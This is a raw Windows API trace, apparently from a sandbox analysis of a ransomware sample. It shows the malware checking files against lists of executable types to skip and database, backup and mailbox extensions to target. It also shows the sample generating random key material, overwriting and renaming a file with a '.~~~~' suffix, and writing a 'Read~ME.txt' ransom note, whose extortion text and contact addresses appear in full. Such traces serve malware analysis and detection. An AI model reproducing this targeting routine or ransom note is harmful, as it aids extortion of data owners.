	[0084.145] lstrlenW (lpString=".MYD") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.145] lstrlenW (lpString=".DBT") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.145] lstrlenW (lpString=".ACCDB") returned 6
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.145] lstrlenW (lpString=".fdb") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.145] lstrlenW (lpString=".bak") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.145] lstrlenW (lpString=".myd") returned 4
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.145] lstrlenW (lpString=".DTXS") returned 5
	[0084.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.145] lstrlenW (lpString=".ckp") returned 4
	[0084.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.146] lstrlenW (lpString=".dbt") returned 4
	[0084.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.146] lstrlenW (lpString=".db") returned 3
	[0084.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.146] lstrlenW (lpString=".TXT") returned 4
	[0084.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.146] lstrlenW (lpString=".MDF") returned 4
	[0084.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.146] lstrlenW (lpString=".bdb") returned 4
	[0084.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.146] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.146] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.147] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.147] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.147] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20413749711) returned 1
	[0084.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9bfd12f0, dwHighDateTime=0x1d60e1e)) 
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2608
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2608 | out: hHeap=0x300000) returned 1
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808090
	[0084.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808090 | out: hHeap=0x300000) returned 1
	[0084.148] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.148] GetLastError () returned 0x0
	[0084.148] GetLastError () returned 0x0
	[0084.148] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.149] GetLastError () returned 0x0
	[0084.149] GetLastError () returned 0x0
	[0084.151] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff9dee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.151] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x6212, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6212, lpOverlapped=0x0) returned 1
	[0084.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.151] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.151] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.151] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.151] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.152] CloseHandle (hObject=0x118) returned 1
	[0084.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6c58
	[0084.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.~~~~")) returned 1
	[0084.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6c58 | out: hHeap=0x300000) returned 1
	[0084.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.152] GetLastError () returned 0x0
	[0084.153] RtlWakeConditionVariable () returned 0x365f70
	[0084.153] GetCurrentThreadId () returned 0xaf0
	[0084.153] GetCurrentThreadId () returned 0xaf0
	[0084.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0084.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28081e0 | out: hHeap=0x300000) returned 1
	[0084.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2640 | out: hHeap=0x300000) returned 1
	[0084.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28081e0
	[0084.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.153] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.153] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.155] CloseHandle (hObject=0x118) returned 1
	[0084.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28081e0 | out: hHeap=0x300000) returned 1
	[0084.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ca0 | out: hHeap=0x300000) returned 1
	[0084.155] RtlWakeConditionVariable () returned 0x365f70
	[0084.155] GetCurrentThreadId () returned 0xaf0
	[0084.156] GetCurrentThreadId () returned 0xaf0
	[0084.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0084.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808288 | out: hHeap=0x300000) returned 1
	[0084.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2678 | out: hHeap=0x300000) returned 1
	[0084.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808288
	[0084.156] lstrlenW (lpString=".scr") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".scr") returned 0x0
	[0084.156] lstrlenW (lpString=".cmd") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".cmd") returned 0x0
	[0084.156] lstrlenW (lpString=".dll") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dll") returned 0x0
	[0084.156] lstrlenW (lpString=".bat") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".bat") returned 0x0
	[0084.156] lstrlenW (lpString=".cpl") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".cpl") returned 0x0
	[0084.156] lstrlenW (lpString=".sys") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".sys") returned 0x0
	[0084.156] lstrlenW (lpString=".msc") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".msc") returned 0x0
	[0084.156] lstrlenW (lpString=".com") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".com") returned 0x0
	[0084.156] lstrlenW (lpString=".lnk") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".lnk") returned 0x0
	[0084.156] lstrlenW (lpString=".msp") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".msp") returned 0x0
	[0084.156] lstrlenW (lpString=".pif") returned 4
	[0084.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".pif") returned 0x0
	[0084.156] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.157] lstrlenW (lpString=".sqb") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".sqb") returned 0x0
	[0084.157] lstrlenW (lpString=".ost") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".ost") returned 0x0
	[0084.157] lstrlenW (lpString=".txt") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".txt") returned 0x0
	[0084.157] lstrlenW (lpString=".mdt") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".mdt") returned 0x0
	[0084.157] lstrlenW (lpString=".BDB") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".BDB") returned 0x0
	[0084.157] lstrlenW (lpString=".eql") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".eql") returned 0x0
	[0084.157] lstrlenW (lpString=".DBF") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DBF") returned 0x0
	[0084.157] lstrlenW (lpString=".EQL") returned 4
	[0084.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".EQL") returned 0x0
	[0084.158] lstrlenW (lpString=".FDB") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".FDB") returned 0x0
	[0084.158] lstrlenW (lpString=".EDB") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".EDB") returned 0x0
	[0084.158] lstrlenW (lpString=".DACPAC") returned 7
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.158] lstrlenW (lpString=".VHD") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".VHD") returned 0x0
	[0084.158] lstrlenW (lpString=".DBV") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DBV") returned 0x0
	[0084.158] lstrlenW (lpString=".dacpac") returned 7
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dacpac") returned 0x0
	[0084.158] lstrlenW (lpString=".sdf") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".sdf") returned 0x0
	[0084.158] lstrlenW (lpString=".accdb") returned 6
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".accdb") returned 0x0
	[0084.158] lstrlenW (lpString=".DBX") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DBX") returned 0x0
	[0084.158] lstrlenW (lpString=".MDT") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".MDT") returned 0x0
	[0084.158] lstrlenW (lpString=".SQB") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".SQB") returned 0x0
	[0084.158] lstrlenW (lpString=".vhd") returned 4
	[0084.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".vhd") returned 0x0
	[0084.159] lstrlenW (lpString=".bac") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".bac") returned 0x0
	[0084.159] lstrlenW (lpString=".mdf") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".mdf") returned 0x0
	[0084.159] lstrlenW (lpString=".BAK") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".BAK") returned 0x0
	[0084.159] lstrlenW (lpString=".BAC") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".BAC") returned 0x0
	[0084.159] lstrlenW (lpString=".dbs") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dbs") returned 0x0
	[0084.159] lstrlenW (lpString=".vhdx") returned 5
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".vhdx") returned 0x0
	[0084.159] lstrlenW (lpString=".NDF") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".NDF") returned 0x0
	[0084.159] lstrlenW (lpString=".dat") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dat") returned 0x0
	[0084.159] lstrlenW (lpString=".DBS") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DBS") returned 0x0
	[0084.159] lstrlenW (lpString=".CKP") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".CKP") returned 0x0
	[0084.159] lstrlenW (lpString=".edb") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".edb") returned 0x0
	[0084.159] lstrlenW (lpString=".PST") returned 4
	[0084.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".PST") returned 0x0
	[0084.159] lstrlenW (lpString=".dbf") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dbf") returned 0x0
	[0084.160] lstrlenW (lpString=".SQL") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".SQL") returned 0x0
	[0084.160] lstrlenW (lpString=".pst") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".pst") returned 0x0
	[0084.160] lstrlenW (lpString=".dbv") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dbv") returned 0x0
	[0084.160] lstrlenW (lpString=".SDF") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".SDF") returned 0x0
	[0084.160] lstrlenW (lpString=".dtxs") returned 5
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dtxs") returned 0x0
	[0084.160] lstrlenW (lpString=".db3") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".db3") returned 0x0
	[0084.160] lstrlenW (lpString=".OST") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".OST") returned 0x0
	[0084.160] lstrlenW (lpString=".dbx") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".dbx") returned 0x0
	[0084.160] lstrlenW (lpString=".DB3") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DB3") returned 0x0
	[0084.160] lstrlenW (lpString=".DAT") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DAT") returned 0x0
	[0084.160] lstrlenW (lpString=".VHDX") returned 5
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".VHDX") returned 0x0
	[0084.160] lstrlenW (lpString=".ndf") returned 4
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".ndf") returned 0x0
	[0084.160] lstrlenW (lpString=".DB") returned 3
	[0084.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DB") returned 0x0
	[0084.161] lstrlenW (lpString=".sql") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".sql") returned 0x0
	[0084.161] lstrlenW (lpString=".MYD") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".MYD") returned 0x0
	[0084.161] lstrlenW (lpString=".DBT") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DBT") returned 0x0
	[0084.161] lstrlenW (lpString=".ACCDB") returned 6
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.161] lstrlenW (lpString=".fdb") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".fdb") returned 0x0
	[0084.161] lstrlenW (lpString=".bak") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".bak") returned 0x0
	[0084.161] lstrlenW (lpString=".myd") returned 4
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".myd") returned 0x0
	[0084.161] lstrlenW (lpString=".DTXS") returned 5
	[0084.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpSrch=".DTXS") returned 0x0
	[0084.161] lstrlenW (lpString=".ckp") returned 4
